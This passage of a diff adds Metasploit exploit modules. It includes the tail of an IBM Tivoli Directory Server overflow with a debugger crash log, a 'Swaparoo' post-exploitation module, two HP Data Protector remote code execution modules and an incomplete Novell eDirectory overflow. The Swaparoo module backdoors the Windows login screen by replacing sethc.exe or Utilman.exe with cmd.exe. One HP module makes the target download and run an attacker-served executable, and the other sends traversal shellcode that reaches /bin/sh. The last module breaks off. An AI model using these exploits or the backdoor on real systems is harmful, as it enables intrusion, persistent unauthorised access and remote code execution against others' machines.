'Francis Provencher', #Initial discovery, poc
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1206' ],
|
||||
[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=26&Itemid' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-136/' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/17188/' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#IBM Tivoli Dir Server only suuports XP SP3/Win2k3 SP2/or newer
|
||||
[ 'Windows Server 2003 SP2', {'Ret'=>0x41414141} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 18 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1389)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = "\x41"*2000
|
||||
|
||||
packets = {
|
||||
:AUTH => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43" <<
|
||||
"\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00",
|
||||
:CRAM_MD5 => "\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3" <<
|
||||
"\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF" <<
|
||||
sploit <<
|
||||
"\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30" <<
|
||||
"\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63",
|
||||
}
|
||||
|
||||
connect
|
||||
|
||||
sock.put(packets[:AUTH])
|
||||
sock.get_once
|
||||
sock.put(packets[:CRAM_MD5])
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
0:005> g
|
||||
Breakpoint 0 hit
|
||||
eax=41414141 ebx=7c342151 ecx=00000000 edx=00eb0fa4 esi=03740098 edi=03780060
|
||||
eip=005b86d6 esp=03d7fd10 ebp=00a597f8 iopl=0 nv up ei pl nz na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
|
||||
libibmldap!ber_bvecfree+0x26:
|
||||
005b86d6 ffd3 call ebx {MSVCR71!free (7c342151)}
|
||||
0:005> g
|
||||
Breakpoint 1 hit
|
||||
eax=00000000 ebx=7c342151 ecx=00000000 edx=00eb0fa4 esi=41414141 edi=03780060
|
||||
eip=0a90ae57 esp=03d7fd04 ebp=00a597f8 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
|
||||
SHSMP!shi_AfxFreeMemoryDebug+0x17:
|
||||
0a90ae57 e8346bffff call SHSMP!MemFreePtr (0a901990)
|
||||
0:005> g
|
||||
(7f4.4c8): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=00000000 ebx=7c342151 ecx=00000000 edx=00eb0fa4 esi=41414141 edi=41410000
|
||||
eip=0a9019a0 esp=03d7fcf8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
||||
SHSMP!MemFreePtr+0x10:
|
||||
0a9019a0 668b471c mov ax,word ptr [edi+1Ch] ds:0023:4141001c=????
|
||||
0:005> k
|
||||
ChildEBP RetAddr
|
||||
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||
03d7fcfc 0a90ae5c SHSMP!MemFreePtr+0x10
|
||||
03d7fd08 005b86d8 SHSMP!shi_AfxFreeMemoryDebug+0x1c
|
||||
03d7fd1c 004098c8 libibmldap!ber_bvecfree+0x28
|
||||
03d7fd38 0040cf07 ibmslapd!RefObject::add+0x8268
|
||||
00000000 00000000 ibmslapd!RefObject::add+0xb8a7
|
||||
0:005> !exchain
|
||||
03d7fd30: ibmslapd!RefObject::add+73ada (0047513a)
|
||||
03d7fe70: ibmslapd!RefObject::add+73d83 (004753e3)
|
||||
03d7ff2c: ibmslapd!RefObject::add+7504c (004766ac)
|
||||
ldap_ph!pthread_cond_wait+a00 (003f5750)
|
||||
...
|
||||
libibm_2.ber_get_int @ 0x005B80F0
|
||||
=end
|
||||
@@ -0,0 +1,216 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
# include Msf::Post::Windows::Accounts
|
||||
include Msf::Post::Windows::Registry
|
||||
# include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Swaparoo - A Windows Backdoor Method for Sethc.exe or Utilman.exe',
|
||||
'Description' => %q{
|
||||
Sneaks a Backdoor Command Shell in place of Sticky Keys Prompt or
|
||||
Utilman assistant at Windows Login Screen (requires privs)
|
||||
},
|
||||
'License' => BSD_LICENSE,
|
||||
'Author' => [
|
||||
'Osanda Malith Jayathissa <osandajayathissa[at]gmail.com>',
|
||||
'HR <hood3drob1n[at]gmail.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ false, 'Path on target to Sethc.exe or Utilman.exe', '%SYSTEMROOT%\\\\system32\\\\' ]),
|
||||
OptBool.new( 'UTILMAN', [ false, 'Use Utilman.exe instead of Sethc.exe', false]),
|
||||
OptBool.new( 'RESET', [ false, 'Restore Original Sethc.exe or Utilman.exe', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Only for standard windows meterpreter sessions
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Need Admin Privs to make the swap
|
||||
def notadmin
|
||||
print_error("You need admin privs to run this!")
|
||||
print_error("Try using 'getsystem' or one of the many escalation scripts and try again.......")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Execute our list of command needed to achieve the backdooring (sethc.exe vs Utilman.exe) or cleanup tasks :p
|
||||
def list_exec(cmdlst) # client is our meterpreter session, cmdlst is our array of commands to run on target
|
||||
r=''
|
||||
client.response_timeout=120
|
||||
cmdlst.each do |cmd|
|
||||
begin
|
||||
print_status("Executing: #{cmd}")
|
||||
r = client.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
break if d == ""
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
rescue ::Exception => e
|
||||
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check if UAC is enabled
|
||||
# The builtin for privs isn't workign for me, so I made a new version using reg query.....
|
||||
# Returns integer value for UAC level
|
||||
def uac_enabled
|
||||
# Confirm target could have UAC, then find out level its running at if possible
|
||||
if client.sys.config.sysinfo['OS'] !~ /Windows Vista|Windows 2008|Windows [78]/
|
||||
uac = false
|
||||
else
|
||||
begin
|
||||
key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ)
|
||||
if key.query_value('EnableLUA').data == 1
|
||||
uac = true
|
||||
print_status("UAC is Enabled, checking level...")
|
||||
uac_level = key.query_value('ConsentPromptBehaviorAdmin').data
|
||||
if uac_level.to_i == 2
|
||||
print_error("UAC is set to 'Always Notify'")
|
||||
print_error("Things won't work under these conditions.....")
|
||||
raise Rex::Script::Completed
|
||||
elsif uac_level.to_i == 5
|
||||
print_error("UAC is set to Default")
|
||||
print_error("Try running 'exploit/windows/local/bypassuac' to bypass UAC restrictions if you haven't already")
|
||||
elsif uac_level.to_i == 0
|
||||
print_good("UAC Settings Don't appear to be an issue...")
|
||||
uac = false
|
||||
else
|
||||
print_status("Unknown UAC Setting, if it doesn't work try things manually to see if UAC is blocking......")
|
||||
uac = false
|
||||
end
|
||||
end
|
||||
key.close if key
|
||||
rescue::Exception => e
|
||||
print_error("Error Checking UAC: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
return uac
|
||||
end
|
||||
|
||||
# Make the swap
|
||||
def run
|
||||
unsupported if client.platform !~ /win32|win64/i # Windows only
|
||||
|
||||
# Make sure we are admin
|
||||
if client.railgun.shell32.IsUserAnAdmin()['return']
|
||||
print_good("Confirmed, currently running as admin.....")
|
||||
else
|
||||
notadmin
|
||||
end
|
||||
|
||||
# Check if UAC is going to be a problem
|
||||
if uac_enabled
|
||||
print_error("Can't run this on target system without bypassing UAC first!")
|
||||
print_status("Please make sure you have already done this or script will not work......")
|
||||
print_status("")
|
||||
else
|
||||
print_good("Confirmed, UAC is not an issue!")
|
||||
end
|
||||
|
||||
if datastore['PATH']
|
||||
path = datastore['PATH']
|
||||
else
|
||||
sysroot = client.fs.file.expand_path("%SYSTEMROOT%") # Expand to find root
|
||||
path = "#{sysroot}\\\\system32\\\\" # Dont forget to escape!
|
||||
end
|
||||
|
||||
# Arrays with our commands we need to accomplish stuff
|
||||
sethc = [ "takeown /f #{path}sethc.exe",
|
||||
"icacls #{path}sethc.exe /grant administrators:f",
|
||||
"rename #{path}sethc.exe sethc.exe.bak",
|
||||
"copy #{path}cmd.exe #{path}cmd3.exe",
|
||||
"rename #{path}cmd3.exe sethc.exe" ]
|
||||
|
||||
utilman = [ "takeown /f #{path}Utilman.exe",
|
||||
"icacls #{path}Utilman.exe /grant administrators:f",
|
||||
"rename #{path}Utilman.exe Utilman.exe.bak",
|
||||
"copy #{path}cmd.exe #{path}cmd3.exe",
|
||||
"rename #{path}cmd3.exe Utilman.exe" ]
|
||||
|
||||
sethc_cleanup = [ "takeown /f #{path}sethc.exe",
|
||||
"icacls #{path}sethc.exe /grant administrators:f",
|
||||
"takeown /f #{path}sethc.exe.bak",
|
||||
"icacls #{path}sethc.exe.bak /grant Administrators:f",
|
||||
"del #{path}sethc.exe",
|
||||
"rename #{path}sethc.exe.bak sethc.exe" ]
|
||||
|
||||
utilman_cleanup = [ "takeown /f #{path}Utilman.exe",
|
||||
"icacls #{path}Utilman.exe /grant administrators:f",
|
||||
"takeown /f #{path}utilman.exe.bak",
|
||||
"icacls #{path}utilman.exe.bak /grant Administrators:f",
|
||||
"del #{path}Utilman.exe",
|
||||
"rename #{path}Utilman.exe.bak Utilman.exe" ]
|
||||
|
||||
# Check which bin we need to go after
|
||||
if datastore['UTILMAN']
|
||||
target_sethc = false
|
||||
else
|
||||
target_sethc = true
|
||||
end
|
||||
|
||||
# Check if we need to restore or make the swap
|
||||
if datastore['RESET']
|
||||
# Restore things back to original state if possible
|
||||
if target_sethc
|
||||
list_exec(sethc_cleanup)
|
||||
else
|
||||
list_exec(utilman_cleanup)
|
||||
end
|
||||
else
|
||||
# Make the swap...
|
||||
# Check for signs of previous backdooring before taking actions
|
||||
# If not, this can overwrite the backup file which means you can't cleanup afterwards!
|
||||
# Bail out if found and have user remove, rename, or run restore.....
|
||||
print_status("Starting the Swaparoo backdooring process.....")
|
||||
if target_sethc
|
||||
if client.fs.file.exists?("#{path}sethc.exe.bak")
|
||||
print_error("Target appears to have already been backdoored!")
|
||||
print_error("Delete or rename the backup file (sethc.exe.bak) manually or run the restore option...")
|
||||
raise Rex::Script::Completed
|
||||
else
|
||||
list_exec(sethc)
|
||||
end
|
||||
else
|
||||
if client.fs.file.exists?("#{path}utilman.exe.bak")
|
||||
print_error("Target appears to have already been backdoored!")
|
||||
print_error("Delete or rename the backup file (utilman.exe.bak) manually or run the restore option...")
|
||||
raise Rex::Script::Completed
|
||||
else
|
||||
list_exec(utilman)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# All done now
|
||||
print_status("Swaparoo module has completed!")
|
||||
if datastore['RESET']
|
||||
print_good("System should be restored back to normal!")
|
||||
else
|
||||
# Let them know how to access shell...
|
||||
if datastore['UTILMAN']
|
||||
print_good("Press the Windows key + U or Click on the Blue Help icon at lower left on Login Screen to access shell")
|
||||
else
|
||||
print_good("Press Shift Key 5 times at Login Screen to access shell!")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,124 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Novell eDirectory NDS DHOST Module Name Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in Novell eDirectory 8.8.5.
|
||||
},
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 600,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Novell eDirectory 8.8.5', { 'Ret' => 0xcccccccc } ], # ntls.dll
|
||||
],
|
||||
|
||||
'Privileged' => true,
|
||||
|
||||
'DisclosureDate' => 'Nov 10 2008',
|
||||
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8030),
|
||||
OptString.new('USERNAME', [true, "A valid username for the eDirectory server", "admin"]),
|
||||
OptString.new('PASSWORD', [true, "A valid password for the eDirectory server"]),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("Obtaining a session cookie from the server...")
|
||||
connect
|
||||
req = "GET /dhost/ HTTP/1.1\r\n"
|
||||
req << "Host: #{rhost}:#{rport}\r\n"
|
||||
req << "Connection: close\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get_once(-1,5)
|
||||
disconnect
|
||||
|
||||
cookie = nil
|
||||
if(res =~ /Set-Cookie:\s*([^\s]+)\s*/mi)
|
||||
cookie = $1
|
||||
cookie,junk = cookie.split(';')
|
||||
end
|
||||
|
||||
if(not cookie)
|
||||
print_error("Could not read the cookie value from the eDirectory server")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Authenticating to the server as #{datastore['USERNAME']}")
|
||||
|
||||
connect
|
||||
data = "usr=#{Rex::Text.uri_encode(datastore['USERNAME'])}&pwd=#{Rex::Text.uri_encode(datastore['PASSWORD'])}&Login=Login"
|
||||
req = "POST /_LOGIN_SERVER_RSP_ HTTP/1.1\r\n"
|
||||
req << "Host: #{rhost}:#{rport}\r\n"
|
||||
req << "Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
req << "Content-Length: #{data.length}\r\n"
|
||||
req << "Cookie: #{cookie}\r\n\r\n#{data}"
|
||||
|
||||
sock.put(req)
|
||||
res = sock.get_once(-1, 5)
|
||||
disconnect
|
||||
|
||||
if(res !~ /dhost/)
|
||||
print_status("Invalid login information")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Triggering the overflow...")
|
||||
|
||||
connect
|
||||
|
||||
# Fails on 2003 SP2, SEH/STACK both blocked
|
||||
|
||||
buff = ::Rex::Text.pattern_create(2000)
|
||||
# buff[1644,4] = [0x10020202].pack("V")
|
||||
|
||||
req = "GET /dhost/modules?L\x3a#{buff} HTTP/1.1\r\n"
|
||||
req << "Host: #{rhost}:#{rport}\r\n"
|
||||
req << "Cookie: #{cookie}\r\n\r\n"
|
||||
sock.put(req)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,195 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLET] HP Data Protector Client EXEC_SETUP Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on HP Data Protector Client. By
|
||||
supplying a modified EXEC_SETUP command, an remote attacker can instruct the
|
||||
client on port 5555 to download the malicious file from the attacker's machine
|
||||
, and execute it as a setup file.
|
||||
|
||||
NOTE: When HP Data Protector Client receives the packet, it tries to reach out to our
|
||||
port 137, and then it'll try to obtain the file via port 139. If port 139 returns a
|
||||
access denied (or w/e), Data Protector Client will then try to request it via HTTP.
|
||||
If there's nothing listening on port 137, DPC will send us a RST, and that's the end
|
||||
of it.
|
||||
|
||||
On OSX, however, it seems DPC won't even bother to connect to port 137, it sends
|
||||
RST right back at us.
|
||||
|
||||
Tip from bannedit:
|
||||
send the initial packet... serve the file... when the server asks for the file...
|
||||
sleep for a bit... send the next packet
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'Anonymous', #Initial discovery, reported to ZDI
|
||||
'fdisk', #Initial poc posted on exploit-db
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-0922' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-056' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/17345/' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none", #none/process/seh
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows universal', {} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 7 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5555, false),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#The fake web server is used to transfer the malicious payload when HP Data Protector client
|
||||
#requests it.
|
||||
def on_request_uri(cli, request)
|
||||
print_status("#{cli.peerhost} is trying to request our malicious file...")
|
||||
print_status("#{request.uri}")
|
||||
end
|
||||
|
||||
def to_unicode(text)
|
||||
output = ''
|
||||
|
||||
text.each do |char|
|
||||
output << char << "\x00"
|
||||
end
|
||||
|
||||
return output
|
||||
end
|
||||
|
||||
def send_exec_setup_packet(t)
|
||||
#Make sure the web server thread has begun
|
||||
select(nil, nil, nil, 1) while t.status != "run"
|
||||
|
||||
#A little extra delay to make sure the initial web server output is finished
|
||||
select(nil, nil, nil, 0.2)
|
||||
|
||||
#Host where we supply our payload
|
||||
srvhost = Rex::Socket.source_address.chomp
|
||||
srvport = datastore["SRVPORT"]
|
||||
|
||||
#payload_filename = rand_text_alpha(5) + ".exe"
|
||||
payload_filename = "installservice.exe"
|
||||
|
||||
#Fields in the packet
|
||||
rhost = to_unicode("#{srvhost}:#{srvport}")
|
||||
owner = to_unicode("SYSTEM")
|
||||
security_access = to_unicode("NT AUTHORITY")
|
||||
install_path = to_unicode("\\\\#{srvhost}:#{srvport}\\OmniBack\\#{payload_filename} -source \\\\#{srvhost}:#{srvport}\\OmniBack")
|
||||
type = to_unicode("ADD/UPGRADE")
|
||||
base_path = to_unicode("\\\\#{srvhost}:#{srvport}\\")
|
||||
install_type = to_unicode("INSTALLATIONTYPE=\"Client\"")
|
||||
cell_name = to_unicode("CELLNAME=\"#{srvhost}:#{srvport}\"")
|
||||
cell_client_name = to_unicode("CELLCLIENTNAME=\"#{datastore['RHOST']}\"")
|
||||
all_users = to_unicode("ALLUSERS=5")
|
||||
install_dir = to_unicode("INSTALLDIR=\"$(OMNIBACK)\\\"")
|
||||
program_data = to_unicode("PROGRAMDATA=\"$(DATAOMNIBACK)\\\"")
|
||||
inetport = to_unicode("INETPORT=5555")
|
||||
add_local = to_unicode("ADDLOCAL=core,javagui")
|
||||
opt_dnscheck = to_unicode("OPT_DNSCHECK=1")
|
||||
opt_skipimport = to_unicode("OPT_SKIPIMPORT=1")
|
||||
opt_msg = to_unicode("OPT_MSG=1")
|
||||
|
||||
pkt = ''
|
||||
pkt << "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20\x00"
|
||||
pkt << rhost
|
||||
pkt << "\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
|
||||
pkt << owner
|
||||
pkt << "\x00\x00"
|
||||
pkt << "\x20\x00"
|
||||
pkt << security_access
|
||||
pkt << "\x00\x00"
|
||||
pkt << "\x20\x00"
|
||||
pkt << "\x43\x00"
|
||||
pkt << "\x00\x00"
|
||||
pkt << "\x20\x00"
|
||||
pkt << "\x32\x00\x36\x00\x00\x00\x20\x00"
|
||||
pkt << install_path
|
||||
pkt << "\x00\x00"
|
||||
pkt << "\x20\x00"
|
||||
pkt << install_path
|
||||
pkt << "\x20\x00"
|
||||
pkt << "\x00\x00\x00\x00\x00\x00\x02\x54\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
|
||||
pkt << type
|
||||
pkt << "\x0a\x00"
|
||||
pkt << base_path
|
||||
pkt << "\x0a\x00"
|
||||
pkt << install_type
|
||||
pkt << "\x20\x00"
|
||||
pkt << cell_name
|
||||
pkt << "\x20\x00"
|
||||
pkt << cell_client_name
|
||||
pkt << "\x20\x00"
|
||||
pkt << all_users
|
||||
pkt << "\x20\x00"
|
||||
pkt << install_dir
|
||||
pkt << "\x20\x00"
|
||||
pkt << program_data
|
||||
pkt << "\x20\x00"
|
||||
pkt << inetport
|
||||
pkt << "\x20\x00"
|
||||
pkt << add_local
|
||||
pkt << "\x20\x00"
|
||||
pkt << opt_dnscheck
|
||||
pkt << "\x20\x00"
|
||||
pkt << opt_skipimport
|
||||
pkt << "\x20\x00"
|
||||
pkt << opt_msg
|
||||
pkt << "\x0a\x00\x00\x00\x00\x00\x0a"
|
||||
|
||||
print_status("Sending packet to remote machine....")
|
||||
print_status(pkt.to_s)
|
||||
|
||||
#Connect to port on 5555
|
||||
connect
|
||||
sock.write(pkt)
|
||||
res = sock.get_once(-1)
|
||||
print_status("Response: #{res.to_s}")
|
||||
#disconnect
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Generating payload...")
|
||||
@my_payload = generate_payload_exe
|
||||
|
||||
t1 = Thread.new { super; } #Start web server
|
||||
t2 = Thread.new { send_exec_setup_packet(t1); } #Send packet
|
||||
|
||||
t1.join
|
||||
t2.join
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,118 @@
|
||||
##
|
||||
##
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Command Execution on HP Dataprotector',
|
||||
'Description' => %q{
|
||||
This module exploits the vulnerability in HP Dataprotector
|
||||
to execute the command.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'SZ', # original exploit discovery
|
||||
'Sohil Garg' # ported to metasploit
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-0923'],
|
||||
#['OSVDB', 'NA'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/17648/'],
|
||||
],
|
||||
'Platform' => ['unix'], # win
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Unix', { }],
|
||||
[ 'HPUX', { }],
|
||||
],
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl telnet',
|
||||
}
|
||||
},
|
||||
'DisclosureDate' => 'Feb 28 2001'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5555)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
connect
|
||||
print_status("Connected to #{rhost}:#{rport}...")
|
||||
if (target.name =~ /Unix/)
|
||||
# Shell code from http://www.exploit-db.com/exploits/17648/
|
||||
# Ascii conversion of shell code
|
||||
# shcode1 =
|
||||
# ""+
|
||||
# "\x00\x00\x00\xa4\x20"+"2"+"\x00\x20"+"--ch0ks-"+
|
||||
# "\x00\x20\x00"+"0"+"\x20"+"SYSTEM"+"\x00\x20"+"-ch0ks--"+"\x00\x20"+"C"+"\x00\x20"+"20"+"\x00\x20"+
|
||||
# "--ch0ks-"+"\x00\x20"+"Poc"+"\x00\x20"+"-r00t-r00t-"+
|
||||
# "\x00\x20"+"-r00t-r00t-"+"\x00\x20"+"-r00t-r00t-"+"\x00\x20\x00"+"0"+"\x20\x00"+
|
||||
# "0"+"\x20"+"../../../../../../../../../bin/sh"+
|
||||
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
shcode = ""
|
||||
shcode << "\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
|
||||
shcode << "\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
|
||||
shcode << "\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
|
||||
shcode << "\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
|
||||
shcode << "\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
|
||||
shcode << "\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
|
||||
shcode << "\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
|
||||
shcode << "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
|
||||
shcode << "\x2e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00"
|
||||
shcode << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
shcode << "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
if (target.name =~ /HPUX/)
|
||||
#Shell code from http://www.exploit-db.com/exploits/17614/
|
||||
shcode = ""
|
||||
shcode << "\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
|
||||
shcode << "\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
|
||||
shcode << "\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
|
||||
shcode << "\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
|
||||
shcode << "\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
|
||||
shcode << "\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
|
||||
shcode << "\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
|
||||
shcode << "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
|
||||
shcode << "\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
|
||||
